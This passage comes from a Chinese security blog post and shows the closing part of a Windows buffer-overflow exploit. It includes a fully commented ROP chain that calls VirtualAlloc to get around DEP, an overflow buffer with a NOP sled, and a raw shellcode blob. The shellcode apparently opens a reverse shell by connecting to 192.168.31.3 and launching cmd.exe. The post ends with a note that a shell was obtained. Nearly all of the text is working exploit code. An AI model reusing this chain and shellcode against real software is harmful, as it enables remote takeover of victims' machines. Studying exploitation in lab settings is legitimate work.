# 由于只有edx可以和eax互传,而它被用于存放需要写入调用结构的值,没有足够的寄存器可以存放调用结构指针,但是在每次需要使用时可以重新计算它

# 清零ecx
rop += pack("<L", 0x10024fc0)   # xor ecx, ecx; cmp eax, 0xe0000000; sete cl; mov eax, ecx; ret; # xor ecx, ecx
# 第二次使用push esp; pop esi; gadget时,需要将edx指向一个写入时不会发生异常的地址
# 
#rop += pack("<L", 0x100319c0)   # pop edx; ret; 
#rop += pack("<L", 0x10006604)   ## pop to edx, SECTION HEADER #3 address (Read Write) # contain NULL byte

rop += pack("<L", 0x10031274)   # pop eax; retn 0x04;
rop += pack("<L", 0x11111111)   ## pop to eax, 0x11111111 
rop += pack("<L", 0x1005be45)   # pop ebp ;ret ;
rop += pack("<L", 0x1fffffff)   ## junk for retn 0x04
rop += pack("<L", 0xfef54ef3)   ## pop to ebp, 0xfef54ef3
rop += pack("<L", 0x10051ff5)   # add eax, ebp; ret; # 0x11111111 + 0xfef54f3 = 0x10066004 (HEADER #3 Read Write address)
# 将edx赋值为一个HEADER #3中的可写地址,防止写入edx导致访问异常
rop += pack("<L", 0x10029930)   # mov edx, eax; xor eax, eax; and cl, 0x1f; shl edx, cl ; ret; # mov edx, eax; 
# 再次获得esp地址,计算shellcode地址
rop += pack("<L", 0x10024fc0)   # xor ecx, ecx; cmp eax, 0xe0000000; sete cl; mov eax, ecx; ret; # xor ecx, ecx
rop += pack("<L", 0x10032d54)   # push esp ; and al, 0x10 ; pop esi ; mov dword [edx] , ecx; ret ; # push esp, esi
rop += pack("<L", 0x10022863)   # mov eax, esi; pop esi ; ret; 
rop += pack("<L", 0x1ffffff1)   ## junk for pop esi

# shellcode 位于取得esp值时的esp+0x850位置
rop += pack("<L", 0x1005be45)   # pop ebp ; ret ;
rop += pack("<L", 0x11111961)   ## 0x11111111 + 0x850 = 0x11111961
rop += pack("<L", 0x1005c170)   # pop ebx ; ret ;
rop += pack("<L", 0x11111111)   ## 0x11111111
rop += pack("<L", 0x1002c5d6)   # sub ebp, ebx; or esi, esi ; ret; # 0x11111a15 - 0x11111111 = 0x850
rop += pack("<L", 0x10051ff5)   # add eax, ebp; ret;

# 保存到edx中,用于后续写入
rop += pack("<L", 0x10029930)   # mov edx, eax; xor eax, eax; and cl, 0x1f; shl edx, cl ; ret; # mov edx, eax 

# 在push esp; pop esi;中,mov dword [edx], ecx会覆盖edx指向的内容,它指向shellcode的首地址,提前将ecx赋值为0x90909090可以避免副作用
rop += pack("<L", 0x100329ae)   # pop ecx; ret ;
rop += pack("<L", 0x90909090)   ## pop to ecx, nops
rop += pack("<L", 0x10032d54)   # push esp ; and al, 0x10 ; pop esi ; mov dword [edx] , ecx; ret ; # push esp; pop esi
rop += pack("<L", 0x10022863)   # mov eax, esi; pop esi ; ret; 
rop += pack("<L", 0x2fffffff)   ## pop to esi

rop += pack("<L", 0x100329ae)   # pop ecx; ret;
################################################
rop += pack("<L", 0xfffff87c)   ## -0x784
################################################
rop += pack("<L", 0x1002c87e)   # sub eax, ecx; ret; # eax + 0x928 => return address
rop += pack("<L", 0x100114e8)   # mov dword [eax], edx ;ret ;

####    lpaddress = shellcode    ####
rop += pack("<L", 0x100192dc)   # add eax, 0x04; ret ;
rop += pack("<L", 0x100114e8)   # mov dword [eax], edx ;ret ;
rop += pack("<L", 0x100192dc)   # add eax, 0x04; ret ;
rop += pack("<L", 0x100114e8)   # mov dword [eax], edx ;ret ;

####    dwSize = 1   ####
rop += pack("<L", 0x1002991c)   # xor edx, edx; ret ;
rop += pack("<L", 0x10028fe6)   # inc edx; cld ; pop edi ; pop ebx ;ret ; # inc edx
rop += pack("<L", 0x3fffffff)   ## pop to edi
rop += pack("<L", 0x4fffffff)   ## pop to ebx
rop += pack("<L", 0x100192dc)   # add eax, 0x04; ret ;
rop += pack("<L", 0x100114e8)   # mov dword [eax], edx ;ret ;
####    flAllocationType = 0x1000   ####
rop += pack("<L", 0x1005c170)   # pop ebx ; ret;
rop += pack("<L", 0xeeeefeef)   ## pop to ebx
rop += pack("<L", 0x100319c0)   # pop edx ; ret;
rop += pack("<L", 0x11111111)   ## pop to ebx
rop += pack("<L", 0x10029f3e)   # add edx, ebx; pop ebx; retn 0x10 ; # 0xeeeefeef + 0x11111111 = 0x1000
rop += pack("<L", 0x5fffffff)   ## pop to ebx
rop += pack("<L", 0x100192dc)   # add eax, 0x04; ret ;
rop += pack("<L", 0x6fffffff)   ## pop to ebx
rop += pack("<L", 0x7fffffff)   ## pop to ebx
rop += pack("<L", 0x8fffffff)   ## pop to ebx
rop += pack("<L", 0x9fffffff)   ## pop to ebx
rop += pack("<L", 0x100114e8)   # mov dword [eax], edx ;ret ;
####    flProtect = 0x40     ####
rop += pack("<L", 0x1005c170)   # pop ebx ; ret;
rop += pack("<L", 0xeeeeef2f)   ## pop to ebx
rop += pack("<L", 0x100319c0)   # pop edx ; ret;
rop += pack("<L", 0x11111111)   ## pop to ebx
rop += pack("<L", 0x10029f3e)   # add edx, ebx; pop ebx; retn 0x10 ; # 0xeeeeef2f + 0x11111111 = 0x40
rop += pack("<L", 0xafffffff)   ## pop to ebx
rop += pack("<L", 0x100192dc)   # add eax, 0x04; ret ;
rop += pack("<L", 0xbfffffff)   ## pop to ebx
rop += pack("<L", 0xcfffffff)   ## pop to ebx
rop += pack("<L", 0xdfffffff)   ## pop to ebx
rop += pack("<L", 0xefffffff)   ## pop to ebx
rop += pack("<L", 0x100114e8)   # mov dword [eax], edx ;ret ;

####    call VirtualAlloc   ####
rop += pack("<L", 0x1005be45)   # pop ebp ; ret ;
rop += pack("<L", 0x11111111)   ## 0x11111111
rop += pack("<L", 0x1005c170)   # pop ebx ; ret ;
rop += pack("<L", 0x11111125)   ## 0x11111111 + 0n20 = 0x11111125
rop += pack("<L", 0x1002c5d6)   # sub ebp, ebx; or esi, esi ; ret; # 0x11111111 - 0x11111125 = -0n20
rop += pack("<L", 0x10051ff5)   # add eax, ebp; ret; # eax -0n20
rop += pack("<L", 0x1002fe81)   # xchg eax, esp; ret ; 

# virutualalloc 导入表地址
#0x1005d060


buffer = b""
inputbuffer = b""
eipOffset = b"A" * 17417
eip = rop
buffer += eipOffset + eip

#espOffset = b"C" * (17425 - len(buffer))
#esp = b"D" * 4
#buffer += espOffset + esp
#
shellcodeOffset = b"\x90" * 0x880
# shellcode size: 0x151 (337)
shellcode = b'\x89\xe5\x81\xc4\xf0\xf9\xff\xff\xeb\x06^\x89u\x04\xebN\xe8\xf5\xff\xff\xff`1\xc9d\x8bq0\x8bv\x0c\x8bv\x1cV\x8b^\x08\x0f\xb6F\x1e\x89E\xf8\x8bC<\x8b|\x03x\x01\xdf\x8bO\x18\x8bG \x01\xd8\x89E\xfc\xe3\x1dI\x8bE\xfc\x8b4\x88\x01\xde1\xc0\x8bU\xf8\xfc\xac\x84\xc0t\x0e\xc1\xca\x02\x01\xc2\xeb\xf4\xeb)^\x8b6\xeb\xbd;T$(u\xd6\x8bW$\x01\xdaf\x8b\x0cJ\x8bW\x1c\x01\xda\x8b\x04\x8a\x01\xd8\x89D$ ^aYZQ\xff\xe0\xb8\xb4\xb3\xff\xfe\xf7\xd8Ph32.DhWS2_Thhz\xc4v\xffU\x04\x89\xe01\xc9f\xb9\x90\x05)\xc8P1\xc0f\xb8\x02\x02Ph\x96 \x9e\xcc\xffU\x041\xc0PPP\xb0\x06P,\x05P@Phf ^\x81\xffU\x04\x89\xc61\xc0PPh\xc0\xa8\x1f\x03f\xb8\x01\xbb\xc1\xe0\x10f\x83\xc0\x02PT_1\xc0PPPP\x04\x10PWVh\x95 ^W\xffU\x04VVV1\xc0\x8dH\rP\xe2\xfd\xb0DPT_f\xc7G,\x01\x01\xb8\x9b\x87\x9a\xff\xf7\xd8Phcmd.\x89\xe3\x89\xe01\xc9f\xb9\x90\x03)\xc8PW1\xc0PPP@PHPPSPh\xc7(\xaa\x0b\xffU\x041\xc9Qj\xffh\xd2U\xa9.\xffU\x04'


buffer += shellcodeOffset +  shellcode

buffer += b"F" * (bufferSize - len(buffer))
http = b"http://"
inputbuffer += http + buffer
file.write(inputbuffer)
file.close()

获得shell截图:
image-2024-2-7_20-27-31.png

参考链接

Return Oriented Programming(同一个软件的pushad实现方式)
corelan - DEP绕过详解

评论

0

0x0dee

这个人很懒,没有留下任何介绍

随机分类

CTF 文章:62 篇
APT 文章:6 篇
安全管理 文章:7 篇
区块链 文章:2 篇
MongoDB安全 文章:3 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

H

HHHeey

好的,谢谢师傅的解答

Article_kelp

a类中的变量secret_class_var = "secret"是在merge

H

HHHeey

secret_var = 1 def test(): pass

目录